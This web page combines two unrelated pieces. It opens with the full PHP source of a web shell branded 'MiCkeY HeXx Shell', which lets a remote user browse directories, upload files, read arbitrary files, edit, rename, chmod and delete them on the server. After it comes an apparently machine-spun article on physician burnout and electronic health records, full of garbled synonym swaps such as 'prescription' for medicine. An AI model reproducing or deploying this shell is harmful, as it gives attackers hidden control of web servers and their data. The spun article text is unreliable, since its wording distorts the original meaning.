$value){ $_POST[$key] = stripslashes($value); } } echo 'MiCkeY HeXx Shell

[!] MiCkeY HeXx SheLL [!]

'; if(isset($_GET['filesrc'])){ echo "
Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path);foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Upload File Success!
'; }else{ echo 'Failed for Upload File!
'; } } echo '
Upload File :
Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Success~!
'; }else{ echo 'Failed for Change Permission !
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Change Name Success!
'; }else{ echo 'Failed for Change Name !
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit File Success!
'; }else{ echo 'Failed for Edit File!
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Delete Dir Success!
'; }else{ echo 'Failed for Delete Dir!
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Success!
'; }else{ echo 'Failed for Edit File!
'; } } } echo '
'; $scandir = scandir($path); echo '
';foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; }echo ""; } echo '
Name
Size
Permissions
Options
$dir
--
"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '';echo "
\" />
$file
".$size."
"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
\" />
'; } echo '
Recode by MiCkeY HeXx - NerdSquad Team'; function perms($file){ $perms = fileperms($file);if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; }// Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));// Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));// World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info; } ?>

Beyond Burnout — Redesigning Care to Restore Meaning and Sanity for Physicians

In late 2016, an essential care doctor with a flourishing practice chose the time had come to close her entryways. She felt her retirement was constrained on her after she’d put in a year in the holds of her medicinal services framework’s new electronic wellbeing record (EHR). It was her fourth EHR over her times of doctoring, yet this progress felt extraordinary. Rather than enhancing her effectiveness, the new framework removed time from her patients, added hours of administrative work to every day, and supplanted her clinical judgment with the administration’s measurements for “significant use” of data innovation in social insurance.

“We’re spending our days doing the wrong work,” contends Christine Sinsky, a honing internist and VP for proficient fulfillment at the American Medical Association, who has led a few investigations following how specialists invest their energy. “At the most abnormal amount, we are detached from our motivation and have put some distance between the things that give satisfaction and significance to our work.”

Expanding administrative weight is one of the greatest drivers of burnout in prescription. Time-movement thinks about demonstrate that for consistently doctors go through with patients, they burn through one to two more hours completing notes, recording telephone calls, requesting tests, surveying comes about, reacting to tolerant solicitations, recommending solutions, and speaking with staff.1 Little of this work is presently repaid. Rather, it is done in the interstices of life, amid time regularly alluded to as “work after work” — during the evening, on ends of the week, even on an excursion.

“EHRs can be a twofold edged sword, since they give you greater adaptability about where you work, empowering doctors to return home for supper,” contends Tait Shanafelt, educator of pharmaceutical at Stanford University and a main specialist on doctor burnout. “Be that as it may, doctors are working a stunning number of hours around evening time, and this has empowered associations to ceaselessly expand efficiency focuses without changing the foundation or emotionally supportive network, viably including an entire additional week’s worth of work covered up inside a month.”

Burnout rates are presently twice as high in prescription as in different fields, even after alteration for variables, for example, age, sex, level of training, and hours worked in the previous week. In 2014, a national review found that 54% of U.S. doctors detailed no less than one side effect of burnout: passionate fatigue, depersonalization, or a reduced feeling of individual achievement because of business related stressors. Those in “cutting edge” fortes, including general interior pharmaceutical, family medication, crisis solution, and neurology, are at the most elevated risk.2

“There was this presumption that specialists could go up against additional work flawlessly, yet now it is swarming out our actual work as healers,” notes Sinsky. “Doctors are at the sharp end of the stick for responsibility, administrative issues, and now even information procurement and passage — it’s excessively.”

Shanafelt and others contend that the circumstance needs to change and that there’s a business case for tending to doctor burnout. And no more fundamental level, doctors with indications of burnout are twice as liable to leave an association as those without such side effects, and the cost of supplanting a doctor is evaluated to be $500,000 to $1 million, as indicated by a current report from Atrius Health. This gauge mirrors the costs for doctor enlistment, “onboarding” and preparing, and lost income.

Past the monetary toll doctor burnout goes up against establishments, there are human expenses to the two specialists and patients. Concentrates over the previous decade have demonstrated that burnout can undermine a doctor’s feeling of reason and charitableness and prompt higher rates of substance utilize, sorrow, and suicidality. Doctors with indications of burnout will probably report having made a noteworthy restorative mistake in the previous 3 months and to get bring down patient-fulfillment scores.3

Female doctors might be at most astounding danger, especially those with overwhelming clinical burdens. A study of Stanford School of Medicine workforce found that couple of female employees revealed “feeling upheld” in their vocation improvement. The study provoked the organization to consider novel approaches to enhance work– life joining and avoid burnout. Stanford steered a “period bank” to guarantee that workforce were compensated for exercises that are once in a while perceived by medicinal focuses, for example, serving on advisory groups. This program enabled personnel to exchange time spent on these exercises for in-home help, for example, supper conveyance and cleaning administrations, or support at work, incorporating help with allow composing and accommodation. In spite of the fact that this activity was implied for all doctors and fundamental researchers, ladies utilized these administrations more often than men, and the quantity of female employees who detailed “feeling bolstered” had almost multiplied before the finish of the test case program.

Progressively, other restorative associations are beginning to handle the test of burnout. In 2016, CEOs from 10 noteworthy medicinal services associations accumulated at a summit to share procedures for battling doctor burnout. The gathering focused on 11 activities, including estimating doctor prosperity, supporting group based models of care that enable doctors to work at the highest point of their permit, and proactively checking and tending to the expanding administrative weight forced on physicians.4

Estimating rates of doctor burnout is the initial move toward tending to this national scourge. “Generally, you oversee what you measure,” contends Mayo Clinic President and Chief Executive Officer John Noseworthy. “Chief execution scorecards dependably incorporate monetary and quality measures, yet mine likewise has staff engagement, fulfillment, and burnout measures that are accounted for up to the leading body of trustees.”

At Mayo, doctor prosperity is estimated every year, benchmarked against national information, and used to distinguish divisions and offices that need assistance. Doctors are likewise solicited to assess the initiative abilities from their quick directors, since a recent report exhibited that each 1-point increment in a 60-point measure of authority was related with a 3.3% lessening in doctor burnout.5 “There was a straight connection between how empathic, drew in, and included pioneers were with their staff and burnout rates,” Noseworthy said. “So now I have initiative viability scores for each division head and office seat, and we survey them and mentor staff on authority abilities when they require it.”

Though past endeavors to address burnout have concentrated on supporting people’s strength aptitudes, there’s a developing acknowledgment that associations additionally need to upgrade how clinical care is conveyed. In 2015, the Department of Family Medicine at the University of Colorado wellbeing framework initiated a group based model called walking process perfection, or APEX. Under this framework, therapeutic associates accumulate information, accommodate pharmaceuticals, set the motivation for tolerant visits, and distinguish chances to expand preventive care. After they finish this organized procedure, they share this data with a doctor or medical attendant specialist and stay in the space to report the visit. At the point when the clinician leaves, the therapeutic aide gives persistent instruction and wellbeing training. This game plan enables doctors and midlevel clinicians to center around orchestrating information, playing out the physical exam, and settling on medicinal choices without diversions.

“The disarray in exam rooms before APEX was much the same as messaging while at the same time driving,” clarifies Corey Lyon, relate educator at the University of Colorado School of Medicine and therapeutic executive of the A.F. Williams Family Medicine Center. “The best preferred standpoint now is that the PC never again remains amongst me and my patients. This considers further reasoning and association.”

Lyon cautions that starting APEX required work. Despite the fact that the program expanded the proportion of restorative aides to clinicians from 1:1 to 2.5:1, it required more than essentially including individuals. Summit required thorough preparing for therapeutic collaborators, the advancement of organized conventions to enable them to work semi-autonomously, and new correspondence frameworks. Above all else, Lyons trusts, the execution succeeded in light of adaptability and collaboration: “Suppliers must will to surrender a little control to get the help they require so they can manufacture better associations with patients without innovation meddling.”

Inside a half year after the APEX dispatch, burnout rates among clinicians dropped from 53% to 13%. There was likewise a change in the training’s pneumococcal immunization rates and patient referrals for mammography and colonoscopy screening tests. With expanded productivity, the training could include about three additional patients for each specialist every day and diminish sitting tight circumstances for new patients who needed to join the training. With expanded supplier efficiency, APEX remained cost-impartial, and the University of Colorado wellbeing framework intends to grow the program to six extra family medication, inner drug, and essential care centers. Comparable group based models have been effectively incorporated into littler, free practices all through the nation.

However regardless of whether they’re successful, clinical care upgrade endeavors may not address the crucial inquiry of how doctors can recover bliss in the act of medication. Such a change will initially require ventures from senior organization in scholarly restorative focuses and individual practices to perceive and measure the degree of the issue. At that point, the subsequent information should advise moves in strategy and culture to address a framework that remaining parts broken for some, and to take into account inventive and adaptable arrangements that advance doctor prosperity.

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